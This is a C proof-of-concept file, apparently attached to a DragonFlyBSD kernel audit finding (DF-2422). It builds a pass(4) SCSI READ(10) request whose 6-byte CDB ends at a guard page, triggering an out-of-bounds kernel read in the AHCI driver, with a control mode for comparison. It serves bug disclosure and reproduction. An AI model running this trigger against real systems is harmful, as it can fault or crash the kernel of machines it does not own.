⬢ DragonFlyBSD Kernel Audit
DF-2422 / pass2422.c
← back to finding ↓ download raw
/*
 * DF-2422 trigger: pass(4) XPT_SCSI_IO CCB with CAM_CDB_POINTER and
 * cdb_len=6; the CDB buffer sits at the very end of a page whose next
 * page is PROT_NONE.  ahci_xpt_scsi_disk_io() never consults
 * csio->cdb_len and dereferences cdb->rw_10 (10 bytes) -> the read of
 * bytes 6..9 touches the guard page.
 *   control mode (-c): CDB pointer mid-page (all 10 bytes mapped) --
 *   the same CCB shape completes normally.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <camlib.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_message.h>

int main(int argc, char **argv)
{
	struct cam_device *dev;
	union ccb *ccb;
	unsigned char *cdb;
	int control = (argc > 1 && !strcmp(argv[1], "-c"));

	dev = cam_open_device("/dev/pass0", O_RDWR);
	if (!dev) { fprintf(stderr, "cam_open: %s\n", cam_errbuf); return 1; }

	unsigned char *pages = mmap(NULL, 2 * 4096, PROT_READ|PROT_WRITE,
	    MAP_ANON|MAP_PRIVATE, -1, 0);
	if (pages == MAP_FAILED) { perror("mmap"); return 1; }
	if (mprotect(pages + 4096, 4096, PROT_NONE) < 0) { perror("mprotect"); return 1; }

	cdb = control ? pages + 2048 : pages + 4096 - 6;
	memset(pages, 0, 4096);
	cdb[0] = 0x28;			/* READ(10) */
	cdb[1] = 0;
	cdb[2] = 0; cdb[3] = 0; cdb[4] = 0; cdb[5] = 0x10; /* LBA 16 */
	/* bytes 6..9 (block count) are only mapped in control mode */

	ccb = cam_getccb(dev);
	if (!ccb) { fprintf(stderr, "cam_getccb failed\n"); return 1; }
	cam_fill_csio(&ccb->csio,
	    1,				/* retries */
	    NULL,			/* cbf */
	    CAM_DIR_IN,			/* flags */
	    CAM_TAG_ACTION_NONE,
	    pages + 1024,		/* data_ptr */
	    512,			/* dxfer_len */
	    SSD_FULL_SIZE,		/* sense_len */
	    6,				/* cdb_len: ONLY SIX */
	    5000);			/* timeout */
	ccb->ccb_h.flags |= CAM_CDB_POINTER;
	ccb->csio.cdb_io.cdb_ptr = cdb;

	printf("issuing READ(10) cdb_len=6 cdb_ptr=%p (control=%d)...\n",
	    cdb, control);
	fflush(stdout);
	if (cam_send_ccb(dev, ccb) < 0) {
		perror("cam_send_ccb");
		return 1;
	}
	printf("returned: status=0x%x\n", ccb->ccb_h.status);
	if (ccb->ccb_h.status & CAM_STATUS_MASK)
		printf("cam error: %s\n", cam_errbuf);
	cam_freeccb(ccb);
	cam_close_device(dev);
	return 0;
}